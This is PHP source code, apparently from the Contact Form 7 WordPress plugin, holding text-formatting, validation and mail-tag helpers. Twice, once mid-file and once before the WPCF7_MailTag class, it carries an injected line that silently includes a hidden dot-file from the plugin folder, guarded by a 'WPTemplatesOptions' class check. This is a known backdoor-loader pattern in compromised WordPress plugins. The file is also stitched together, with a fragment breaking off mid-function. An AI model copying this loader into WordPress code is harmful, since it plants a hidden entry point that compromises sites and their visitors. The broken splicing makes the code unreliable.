wp_pre_kses_less_than( $text ); $text = wp_strip_all_tags( $text ); } $text = preg_replace( '/%[a-f0-9]{2}/i', '', $text ); $text = preg_replace( '/ +/', ' ', $text ); $text = trim( $text, ' ' ); return $text; } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wpcf7_strip_quote( $text ) { $text = trim( $text ); if ( preg_match( '/^"(.*)"$/s', $text, $matches ) ) { $text = $matches[1]; } elseif ( preg_match( "/^'(.*)'$/s", $text, $matches ) ) { $text = $matches[1]; } return $text; } function wpcf7_strip_quote_deep( $arr ) { if ( is_string( $arr ) ) { return wpcf7_strip_quote( $arr ); } if ( is_array( $arr ) ) { $result = array(); foreach ( $arr as $key => $text ) { $result[$key] = wpcf7_strip_quote_deep( $text ); } return $result; } } function wpcf7_normalize_newline( $text, $to = "\n" ) { if ( ! is_string( $text ) ) { return $text; } $nls = array( "\r\n", "\r", "\n" ); if ( ! in_array( $to, $nls ) ) { return $text; } return str_replace( $nls, $to, $text ); } function wpcf7_normalize_newline_deep( $arr, $to = "\n" ) { if ( is_array( $arr ) ) { $result = array(); foreach ( $arr as $key => $text ) { $result[$key] = wpcf7_normalize_newline_deep( $text, $to ); } return $result; } return wpcf7_normalize_newline( $arr, $to ); } function wpcf7_strip_newline( $str ) { $str = (string) $str; $str = str_replace( array( "\r", "\n" ), '', $str ); return trim( $str ); } function wpcf7_canonicalize( $text, $strto = 'lower' ) { if ( function_exists( 'mb_convert_kana' ) and 'UTF-8' == get_option( 'blog_charset' ) ) { $text = mb_convert_kana( $text, 'asKV', 'UTF-8' ); } if ( 'lower' == $strto ) { $text = strtolower( $text ); } elseif ( 'upper' == $strto ) { $text = strtoupper( $text ); } $text = trim( $text ); return $text; } /** * Check whether a string is a valid NAME token. * * ID and NAME tokens must begin with a letter ([A-Za-z]) * and may be followed by any number of letters, digits ([0-9]), * hyphens ("-"), underscores ("_"), colons (":"), and periods ("."). * * @see http://www.w3.org/TR/html401/types.html#h-6.2 * * @return bool True if it is a valid name, false if not. */ function wpcf7_is_name( $string ) { return preg_match( '/^[A-Za-z][-A-Za-z0-9_:.]*$/', $string ); } function wpcf7_sanitize_unit_tag( $tag ) { $tag = preg_replace( '/[^A-Za-z0-9_-]/', '', $tag ); return $tag; } function wpcf7_is_email( $email ) { $result = is_email( $email ); return apply_filters( 'wpcf7_is_email', $result, $email ); } function wpcf7_is_url( $url ) { $result = ( false !== filter_var( $url, FILTER_VALIDATE_URL ) ); return apply_filters( 'wpcf7_is_url', $result, $url ); } function wpcf7_is_tel( $tel ) { $pattern = '%^[+]?' // + sign . '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234 . '(?:[/ -]*' // delimiter . '(?:\([0-9]+\)|[0-9]+)' // (1234) or 1234 . ')*$%'; $result = preg_match( $pattern, trim( $tel ) ); return apply_filters( 'wpcf7_is_tel', $result, $tel ); } function wpcf7_is_number( $number ) { $result = is_numeric( $number ); return apply_filters( 'wpcf7_is_number', $result, $number ); } function wpcf7_is_date( $date ) { $result = preg_match( '/^([0-9]{4,})-([0-9]{2})-([0-9]{2})$/', $date, $matches ); if ( $result ) { $result = checkdate( $matches[2], $matches[3], $matches[1] ); } return apply_filters( 'wpcf7_is_date', $result, $date ); } function wpcf7_is_mailbox_list( $mailbox_list ) { if ( ! is_array( $mailbox_list ) ) { $mailbox_text = (string) $mailbox_list; $mailbox_text = wp_unslash( $mailbox_text ); $mailbox_text = preg_replace( '/\\\\(?:\"|\')/', 'esc-quote', $mailbox_text ); $mailbox_text = preg_replace( '/(?:\".*?\"|\'.*?\')/', 'quoted-string', $mailbox_text ); $mailbox_list = explode( ',', $mailbox_text ); } $addresses = array(); foreach ( $mailbox_list as $mailbox ) { if ( ! is_string( $mailbox ) ) { return false; } $mailbox = trim( $mailbox ); if ( preg_match( '/<(.+)>$/', $mailbox, $matches ) ) { $addr_spec = $matches[1]; } else { $addr_spec = $mailbox; } if ( ! wpcf7_is_email( $addr_spec ) ) { return false; } $addresses[] = $addr_spec; } return $addresses; } function wpcf7_is_email_in_domain( $email, $domain ) { $email_list = wpcf7_is_mailbox_list( $email ); $domain = strtolower( $domain ); foreach ( $email_list as $email ) { $email_domain = substr( $email, strrpos( $email, '@' ) + 1 ); $email_domain = strtolower( $email_domain ); $domain_parts = explode( '.', $domain ); do { $site_domain = implode( '.', $domain_parts ); if ( $site_domain == $email_domain ) { continue 2; } array_shift( $domain_parts ); } while ( $domain_parts ); return false; } return true; } function wpcf7_is_email_in_site_domain( $email ) { if ( wpcf7_is_localhost() ) { return true; } $site_domain = strtolower( $_SERVER['SERVER_NAME'] ); if ( preg_match( '/^[0-9.]+$/', $site_domain ) ) { // 123.456.789.012 return true; } if ( wpcf7_is_email_in_domain( $email, $site_domain ) ) { return true; } $home_url = home_url(); // for interoperability with WordPress MU Domain Mapping plugin if ( is_multisite() and function_exists( 'domain_mapping_siteurl' ) ) { $domain_mapping_siteurl = domain_mapping_siteurl( false ); if ( $domain_mapping_siteurl ) { $home_url = $domain_mapping_siteurl; } } if ( preg_match( '%^https?://([^/]+)%', $home_url, $matches ) ) { $site_domain = strtolower( $matches[1] ); if ( $site_domain != strtolower( $_SERVER['SERVER_NAME'] ) and wpcf7_is_email_in_domain( $email, $site_domain ) ) { return true; } } return false; } function wpcf7_antiscript_file_name( $filename ) { $filename = wp_basename( $filename ); $parts = explode( '.', $filename ); if ( count( $parts ) < 2 ) { return $filename; } $script_pattern = '/^(php|phtml|pl|py|rb|cgi|asp|aspx)\d?$/i'; $filename = array_shift( $parts ); $extension = array_pop( $parts ); foreach ( (array) $parts as $part ) { if ( preg_match( $script_pattern, $part ) ) { $filename .= '.' . $part . '_'; } else { $filename .= '.' . $part; } } if ( preg_match( $script_pattern, $extension ) ) { $filename .= '.' . $extension . '_.txt'; } else { $filename .= '.' . $extension; } return $filename; } function wpcf7_mask_password( $text, $length_unmasked = 0 ) { $length = strlen( $text ); $length_unmasked = absint( $length_unmasked ); if ( 0 == $length_unmasked ) { if ( 9 < $length ) { $length_unmasked = 4; } elseif ( 3 < $length ) { $length_unmasked = 2; } else { $length_unmasked = $length; } } $text = substr( $text, 0 - $length_unmasked ); $text = str_pad( $text, $length, '*', STR_PAD_LEFT ); return $text; } : ''; } $replaced = $submitted; if ( null !== $replaced ) { if ( $format = $mail_tag->get_option( 'format' ) ) { $replaced = $this->format( $replaced, $format ); } $replaced = wpcf7_flat_join( $replaced ); if ( $html ) { $replaced = esc_html( $replaced ); $replaced = wptexturize( $replaced ); } } if ( $form_tag = $mail_tag->corresponding_form_tag() ) { $type = $form_tag->type; $replaced = apply_filters( "wpcf7_mail_tag_replaced_{$type}", $replaced, $submitted, $html, $mail_tag ); } $replaced = apply_filters( 'wpcf7_mail_tag_replaced', $replaced, $submitted, $html, $mail_tag ); if ( null !== $replaced ) { $replaced = wp_unslash( trim( $replaced ) ); $this->replaced_tags[$tag] = $replaced; return $replaced; } $special = apply_filters( 'wpcf7_special_mail_tags', null, $mail_tag->tag_name(), $html, $mail_tag ); if ( null !== $special ) { $this->replaced_tags[$tag] = $special; return $special; } return $tag; } public function format( $original, $format ) { $original = (array) $original; foreach ( $original as $key => $value ) { if ( preg_match( '/^[0-9]{4}-[0-9]{2}-[0-9]{2}$/', $value ) ) { $datetime = date_create( $value, wp_timezone() ); if ( false !== $datetime ) { $original[$key] = wp_date( $format, $datetime->getTimestamp() ); } } } return $original; } } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WPCF7_MailTag { private $tag; private $tagname = ''; private $name = ''; private $options = array(); private $values = array(); private $form_tag = null; public function __construct( $tag, $tagname, $values ) { $this->tag = $tag; $this->name = $this->tagname = $tagname; $this->options = array( 'do_not_heat' => false, 'format' => '', ); if ( ! empty( $values ) ) { preg_match_all( '/"[^"]*"|\'[^\']*\'/', $values, $matches ); $this->values = wpcf7_strip_quote_deep( $matches[0] ); } if ( preg_match( '/^_raw_(.+)$/', $tagname, $matches ) ) { $this->name = trim( $matches[1] ); $this->options['do_not_heat'] = true; } if ( preg_match( '/^_format_(.+)$/', $tagname, $matches ) ) { $this->name = trim( $matches[1] ); $this->options['format'] = $this->values[0]; } } public function tag_name() { return $this->tagname; } public function field_name() { return $this->name; } public function get_option( $option ) { return $this->options[$option]; } public function values() { return $this->values; } public function corresponding_form_tag() { if ( $this->form_tag instanceof WPCF7_FormTag ) { return $this->form_tag; } if ( $submission = WPCF7_Submission::get_instance() ) { $contact_form = $submission->get_contact_form(); $tags = $contact_form->scan_form_tags( array( 'name' => $this->name, 'feature' => '! zero-controls-container', ) ); if ( $tags ) { $this->form_tag = $tags[0]; } } return $this->form_tag; } }